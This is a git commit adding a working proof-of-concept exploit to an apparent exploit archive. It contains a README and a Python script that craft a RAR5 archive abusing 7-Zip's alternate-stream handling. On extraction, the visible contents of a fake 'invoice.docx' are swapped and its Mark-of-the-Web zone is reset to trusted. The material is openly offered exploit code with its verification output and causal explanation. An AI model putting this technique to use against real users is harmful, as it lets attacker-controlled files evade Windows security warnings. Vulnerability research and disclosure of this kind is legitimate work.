Add exploitarium archive
This commit is contained in:
5
7zip-rar5-motw-chain-poc/.gitignore
vendored
Normal file
5
7zip-rar5-motw-chain-poc/.gitignore
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
poc-run/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.pytest_cache/
|
||||
|
||||
91
7zip-rar5-motw-chain-poc/README.md
Normal file
91
7zip-rar5-motw-chain-poc/README.md
Normal file
@@ -0,0 +1,91 @@
|
||||
# 7-Zip RAR5 MotW/ADS Full-Chain PoC
|
||||
|
||||
This repository contains a self-contained Python proof-of-concept for a RAR5 alternate-stream handling issue in 7-Zip 26.01 on Windows.
|
||||
|
||||
The crafted RAR5 archive contains one visible file entry and two RAR5 `STM` service records:
|
||||
|
||||
- `invoice.docx::$DATA` changes the final visible bytes of the extracted file.
|
||||
- `invoice.docx:Zone.Identifier:$DATA` changes the extracted file's Mark-of-the-Web stream.
|
||||
|
||||
When the source archive has an Internet-zone `Zone.Identifier`, 7-Zip propagates that marker to the extracted file. The crafted stream name with a `:$DATA` suffix then writes to the same NTFS stream name as Windows resolves it on disk. The result is an extracted `invoice.docx` whose visible content and MotW stream are both controlled by archive data.
|
||||
|
||||
## Tested Target
|
||||
|
||||
- 7-Zip 26.01 x64 for Windows
|
||||
- Windows NTFS destination
|
||||
- Python 3.10+
|
||||
|
||||
## Run
|
||||
|
||||
Use an installed 7-Zip:
|
||||
|
||||
```powershell
|
||||
python .\poc.py --sevenzip "C:\Program Files\7-Zip\7z.exe"
|
||||
```
|
||||
|
||||
Or pass any 7-Zip 26.01 `7z.exe` path:
|
||||
|
||||
```powershell
|
||||
python .\poc.py --sevenzip "C:\path\to\7z.exe" --work-dir .\poc-run
|
||||
```
|
||||
|
||||
Expected successful output:
|
||||
|
||||
```text
|
||||
[+] 7-Zip: 7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
|
||||
[+] archive sha256: A962DDB7A0313545521C3250EB7E01EB275F50C83DBC0466FFC94011FB4A0800
|
||||
[+] final visible content: ATTACKER final visible bytes from ::$DATA stream\r\n
|
||||
[+] final Zone.Identifier: [ZoneTransfer]\r\nZoneId=0\r\n
|
||||
[+] VULNERABLE: full chain verified
|
||||
```
|
||||
|
||||
## What The PoC Verifies
|
||||
|
||||
The script performs the full chain:
|
||||
|
||||
1. Builds a minimal RAR5 archive in Python.
|
||||
2. Adds a normal `invoice.docx` file entry with benign-looking bytes.
|
||||
3. Adds a RAR5 `STM` stream named `::$DATA` with attacker-controlled final file bytes.
|
||||
4. Adds a RAR5 `STM` stream named `:Zone.Identifier:$DATA` with attacker-controlled MotW bytes.
|
||||
5. Marks the source archive itself as Internet-zone with `ZoneId=3`.
|
||||
6. Extracts with 7-Zip using zone propagation.
|
||||
7. Checks that the extracted `invoice.docx` contains the `::$DATA` payload.
|
||||
8. Checks that `invoice.docx:Zone.Identifier` contains `ZoneId=0`.
|
||||
|
||||
## Why It Works
|
||||
|
||||
7-Zip has special handling for `Zone.Identifier` propagation. It recognizes and suppresses an exact archive-provided `Zone.Identifier` alternate stream while applying the source archive's Internet-zone marker to the extracted file.
|
||||
|
||||
The crafted stream name uses a Windows stream type suffix:
|
||||
|
||||
```text
|
||||
Zone.Identifier:$DATA
|
||||
```
|
||||
|
||||
7-Zip's guard treats that as a different stream name, but NTFS resolves:
|
||||
|
||||
```text
|
||||
file:Zone.Identifier
|
||||
file:Zone.Identifier:$DATA
|
||||
```
|
||||
|
||||
to the same alternate data stream. The archive-provided stream therefore replaces the propagated marker.
|
||||
|
||||
The same stream suffix behavior is used with:
|
||||
|
||||
```text
|
||||
::$DATA
|
||||
```
|
||||
|
||||
which targets the unnamed/default NTFS data stream of the extracted file. That is why the final visible file bytes differ from the benign main file entry.
|
||||
|
||||
## Files Written
|
||||
|
||||
The PoC writes only inside the selected work directory:
|
||||
|
||||
- `rar5-content-and-motw-chain.rar`
|
||||
- `out\invoice.docx`
|
||||
- NTFS alternate streams attached to those files
|
||||
|
||||
The default work directory is `.\poc-run`.
|
||||
|
||||
231
7zip-rar5-motw-chain-poc/poc.py
Normal file
231
7zip-rar5-motw-chain-poc/poc.py
Normal file
@@ -0,0 +1,231 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import binascii
|
||||
import hashlib
|
||||
import os
|
||||
import shutil
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
MARKER = b"Rar!\x1a\x07\x01\x00"
|
||||
|
||||
HFL_EXTRA = 1 << 0
|
||||
HFL_DATA = 1 << 1
|
||||
|
||||
HT_ARC = 1
|
||||
HT_FILE = 2
|
||||
HT_SERVICE = 3
|
||||
HT_END = 5
|
||||
|
||||
EXTRA_SUBDATA = 7
|
||||
HOST_WINDOWS = 0
|
||||
ATTR_ARCHIVE = 0x20
|
||||
|
||||
MAIN_NAME = "invoice.docx"
|
||||
MAIN_BYTES = b"BENIGN preview bytes from main RAR5 file\r\n"
|
||||
FINAL_BYTES = b"ATTACKER final visible bytes from ::$DATA stream\r\n"
|
||||
FINAL_ZONE = b"[ZoneTransfer]\r\nZoneId=0\r\n"
|
||||
SOURCE_ZONE = b"[ZoneTransfer]\r\nZoneId=3\r\n"
|
||||
|
||||
|
||||
def vint(value: int) -> bytes:
|
||||
if value < 0:
|
||||
raise ValueError("negative vint")
|
||||
out = bytearray()
|
||||
while True:
|
||||
b = value & 0x7F
|
||||
value >>= 7
|
||||
if value:
|
||||
out.append(b | 0x80)
|
||||
else:
|
||||
out.append(b)
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def block(header_type: int, header_flags: int, body: bytes, *, extra: bytes = b"", data: bytes = b"") -> bytes:
|
||||
fields = bytearray()
|
||||
fields += vint(header_type)
|
||||
flags = header_flags
|
||||
if extra:
|
||||
flags |= HFL_EXTRA
|
||||
if data:
|
||||
flags |= HFL_DATA
|
||||
fields += vint(flags)
|
||||
if extra:
|
||||
fields += vint(len(extra))
|
||||
if data:
|
||||
fields += vint(len(data))
|
||||
fields += body
|
||||
fields += extra
|
||||
|
||||
size = vint(len(fields))
|
||||
crc_data = size + fields
|
||||
crc = binascii.crc32(crc_data) & 0xFFFFFFFF
|
||||
return struct.pack("<I", crc) + crc_data + data
|
||||
|
||||
|
||||
def file_body(name: str, data: bytes, *, record_name: str | None = None, method: int = 0) -> bytes:
|
||||
name_bytes = (record_name if record_name is not None else name).encode("utf-8")
|
||||
body = bytearray()
|
||||
body += vint(0)
|
||||
body += vint(len(data))
|
||||
body += vint(ATTR_ARCHIVE)
|
||||
body += vint(method)
|
||||
body += vint(HOST_WINDOWS)
|
||||
body += vint(len(name_bytes))
|
||||
body += name_bytes
|
||||
return bytes(body)
|
||||
|
||||
|
||||
def subdata_extra(stream_name: str) -> bytes:
|
||||
data = stream_name.encode("utf-8")
|
||||
rec = vint(EXTRA_SUBDATA) + data
|
||||
return vint(len(rec)) + rec
|
||||
|
||||
|
||||
def service_stream(parent_name: str, stream_name: str, payload: bytes) -> bytes:
|
||||
return block(
|
||||
HT_SERVICE,
|
||||
0,
|
||||
file_body(parent_name, payload, record_name="STM"),
|
||||
extra=subdata_extra(stream_name),
|
||||
data=payload,
|
||||
)
|
||||
|
||||
|
||||
def build_archive() -> bytes:
|
||||
out = bytearray(MARKER)
|
||||
out += block(HT_ARC, 0, vint(0))
|
||||
out += block(HT_FILE, 0, file_body(MAIN_NAME, MAIN_BYTES), data=MAIN_BYTES)
|
||||
out += service_stream(MAIN_NAME, "::$DATA", FINAL_BYTES)
|
||||
out += service_stream(MAIN_NAME, ":Zone.Identifier:$DATA", FINAL_ZONE)
|
||||
out += block(HT_END, 0, vint(0))
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def sha256(path: Path) -> str:
|
||||
h = hashlib.sha256()
|
||||
with path.open("rb") as f:
|
||||
for chunk in iter(lambda: f.read(1024 * 1024), b""):
|
||||
h.update(chunk)
|
||||
return h.hexdigest().upper()
|
||||
|
||||
|
||||
def find_7z(explicit: str | None) -> Path:
|
||||
candidates: list[str] = []
|
||||
if explicit:
|
||||
candidates.append(explicit)
|
||||
found = shutil.which("7z")
|
||||
if found:
|
||||
candidates.append(found)
|
||||
candidates.append(r"C:\Program Files\7-Zip\7z.exe")
|
||||
candidates.append(r"C:\Program Files (x86)\7-Zip\7z.exe")
|
||||
|
||||
for candidate in candidates:
|
||||
path = Path(candidate)
|
||||
if path.is_file():
|
||||
return path
|
||||
raise SystemExit("7z.exe not found. Pass --sevenzip C:\\path\\to\\7z.exe")
|
||||
|
||||
|
||||
def run_7z(sevenzip: Path, *args: str) -> str:
|
||||
proc = subprocess.run(
|
||||
[str(sevenzip), *args],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
text=True,
|
||||
errors="replace",
|
||||
check=False,
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
raise RuntimeError(f"7-Zip failed with exit code {proc.returncode}\n{proc.stdout}")
|
||||
return proc.stdout
|
||||
|
||||
|
||||
def read_ads(path: Path, stream_name: str) -> bytes:
|
||||
with open(str(path) + ":" + stream_name, "rb") as f:
|
||||
return f.read()
|
||||
|
||||
|
||||
def write_ads(path: Path, stream_name: str, data: bytes) -> None:
|
||||
with open(str(path) + ":" + stream_name, "wb") as f:
|
||||
f.write(data)
|
||||
|
||||
|
||||
def printable(data: bytes) -> str:
|
||||
return data.decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Verify the 7-Zip RAR5 STM MotW/ADS full chain.")
|
||||
parser.add_argument("--sevenzip", help="Path to 7z.exe. Defaults to PATH or Program Files.")
|
||||
parser.add_argument("--work-dir", default="poc-run", help="Directory for generated files.")
|
||||
args = parser.parse_args()
|
||||
|
||||
if os.name != "nt":
|
||||
raise SystemExit("This PoC uses Windows NTFS alternate data streams.")
|
||||
|
||||
sevenzip = find_7z(args.sevenzip)
|
||||
work_dir = Path(args.work_dir).resolve()
|
||||
if work_dir.exists():
|
||||
shutil.rmtree(work_dir)
|
||||
work_dir.mkdir(parents=True)
|
||||
|
||||
archive_path = work_dir / "rar5-content-and-motw-chain.rar"
|
||||
archive_path.write_bytes(build_archive())
|
||||
write_ads(archive_path, "Zone.Identifier", SOURCE_ZONE)
|
||||
|
||||
version = run_7z(sevenzip).splitlines()[1].strip()
|
||||
listing = run_7z(sevenzip, "l", "-slt", "-sns", str(archive_path))
|
||||
output_dir = work_dir / "out"
|
||||
output_dir.mkdir()
|
||||
extraction = run_7z(sevenzip, "x", "-y", "-snz1", f"-o{output_dir}", str(archive_path))
|
||||
|
||||
final_path = output_dir / MAIN_NAME
|
||||
final_content = final_path.read_bytes()
|
||||
final_zone = read_ads(final_path, "Zone.Identifier")
|
||||
|
||||
if final_content != FINAL_BYTES:
|
||||
raise AssertionError(f"Final visible content mismatch: {printable(final_content)}")
|
||||
if final_zone != FINAL_ZONE:
|
||||
raise AssertionError(f"Final Zone.Identifier mismatch: {printable(final_zone)}")
|
||||
|
||||
listed_rows = [
|
||||
line
|
||||
for line in listing.splitlines()
|
||||
if line in {
|
||||
"Path = invoice.docx",
|
||||
"Path = invoice.docx::$DATA",
|
||||
"Path = invoice.docx:Zone.Identifier:$DATA",
|
||||
"Alternate Stream = -",
|
||||
"Alternate Stream = +",
|
||||
}
|
||||
or line.startswith("Size = ")
|
||||
]
|
||||
extracted_rows = [
|
||||
line
|
||||
for line in extraction.splitlines()
|
||||
if "Everything is Ok" in line or line.startswith("Files:") or line.startswith("Alternate Streams")
|
||||
]
|
||||
|
||||
print(f"[+] 7-Zip: {version}")
|
||||
print(f"[+] archive: {archive_path}")
|
||||
print(f"[+] archive sha256: {sha256(archive_path)}")
|
||||
print("[+] listing evidence:")
|
||||
for row in listed_rows:
|
||||
print(f" {row}")
|
||||
print("[+] extraction evidence:")
|
||||
for row in extracted_rows:
|
||||
print(f" {row}")
|
||||
print(f"[+] final visible content: {printable(final_content)}")
|
||||
print(f"[+] final Zone.Identifier: {printable(final_zone)}")
|
||||
print("[+] VULNERABLE: full chain verified")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user